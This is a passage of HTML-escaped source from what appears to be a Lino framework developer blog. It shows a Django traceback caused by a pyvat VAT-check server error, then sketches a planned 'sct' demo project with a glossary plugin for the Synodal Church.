  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/pyvat/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;check_vat_number&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;VAT_REGISTRIES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;country_code&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check_vat_number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vat_number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/pyvat/registries.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;133&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;check_vat_number&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;ServerError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fault_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pyvat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ServerError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ServerError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;MS_MAX_CONCURRENT_REQ&lt;/span&gt;

&lt;span class="n"&gt;During&lt;/span&gt; &lt;span class="n"&gt;handling&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;another&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;manage.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;execute_from_command_line&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;425&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute_from_command_line&lt;/span&gt;
    &lt;span class="n"&gt;utility&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;419&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fetch_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subcommand&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_argv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;373&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_from_argv&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;cmd_options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;417&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/lino/lino/management/commands/prep.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;
    &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/lino/lino/management/commands/initdb.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;192&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;
    &lt;span class="n"&gt;call_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;loaddata&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;187&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;call_command&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;defaults&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;417&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/commands/loaddata.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;78&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loaddata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fixture_labels&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/commands/loaddata.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;138&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;loaddata&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load_label&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fixture_label&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/commands/loaddata.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;214&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;load_label&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/lino/lino/utils/dpy.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;409&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;deserialize&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;deserialize_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/lino/lino/utils/dpy.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;423&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;deserialize_module&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/lino/lino/modlib/checkdata/fixtures/checkdata.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt;
    &lt;span class="n"&gt;call_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;checkdata&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;187&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;call_command&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;defaults&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/virtualenvs/py38/lib/python3.8/site-packages/django/core/management/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;417&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/lino/lino/modlib/checkdata/management/commands/checkdata.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;
    &lt;span class="n"&gt;check_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fix&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;prune&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;prune&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/lino/lino/modlib/checkdata/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;299&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;check_data&lt;/span&gt;
    &lt;span class="n"&gt;todo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;chk&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update_problems&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/lino/lino/modlib/checkdata/choicelists.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;update_problems&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;fixable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_checkdata_problems&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fix&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/xl/lino_xl/lib/vat/choicelists.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;924&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_checkdata_problems&lt;/span&gt;
    &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vid_manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;online&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/xl/lino_xl/lib/vat/choicelists.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;753&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;validate&lt;/span&gt;
    &lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;  &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log_lines&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Problem&lt;/span&gt; &lt;span class="n"&gt;installing&lt;/span&gt; &lt;span class="n"&gt;fixture&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;~/work/lino/lino/modlib/checkdata/fixtures/checkdata.py&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NoneType&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;log_lines&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="a-lino-for-the-synodal-church"&gt;
&lt;h2&gt;A Lino for the Synodal Church?&lt;a class="headerlink" href="#a-lino-for-the-synodal-church" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I had a crazy idea: I will write a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/install/index.html#term-demo-project" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;demo project&lt;/span&gt;&lt;/a&gt; &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sct&lt;/span&gt;&lt;/code&gt; (for Synodal
Church Teachings), which will be a prototype for a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino site&lt;/span&gt;&lt;/a&gt; to be used
by the &lt;a class="reference external" href="https://hw.saffre-rumma.net/sc/glossary/#term-Synodal-Church" title="(in Human World)"&gt;&lt;span class="xref std std-term"&gt;Synodal Church&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It will probably be a &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt; (but after having implemented &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2717"&gt;#2717&lt;/a&gt;).
It will also use a new plugin &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.glossary&lt;/span&gt;&lt;/code&gt; with the following
models:&lt;/p&gt;
&lt;dl class="py class"&gt;
&lt;dt class="sig sig-object py" id="lino_xl.lib.glossary.Term"&gt;
&lt;span class="property"&gt;&lt;span class="k"&gt;&lt;span class="pre"&gt;class&lt;/span&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="sig-prename descclassname"&gt;&lt;span class="pre"&gt;lino_xl.lib.glossary.&lt;/span&gt;&lt;/span&gt;&lt;span class="sig-name descname"&gt;&lt;span class="pre"&gt;Term&lt;/span&gt;&lt;/span&gt;&lt;a class="headerlink" href="#lino_xl.lib.glossary.Term" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;dl class="py attribute"&gt;
&lt;dt class="sig sig-object py" id="lino_xl.lib.glossary.Term.designation"&gt;
&lt;span class="sig-name descname"&gt;&lt;span class="pre"&gt;designation&lt;/span&gt;&lt;/span&gt;&lt;a class="headerlink" href="#lino_xl.lib.glossary.Term.designation" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The designation of the term being described.&lt;/p&gt;
&lt;p&gt;This is a translatable field.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class="py attribute"&gt;
&lt;dt class="sig sig-object py" id="lino_xl.lib.glossary.Term.description"&gt;
&lt;span class="sig-name descname"&gt;&lt;span class="pre"&gt;description&lt;/span&gt;&lt;/span&gt;&lt;a class="headerlink" href="#lino_xl.lib.glossary.Term.description" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The generally accepted description of this term.&lt;/p&gt;
&lt;p&gt;This is a translatable field.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class="py class"&gt;
&lt;dt class="sig sig-object py" id="lino_xl.lib.glossary.UsageType"&gt;
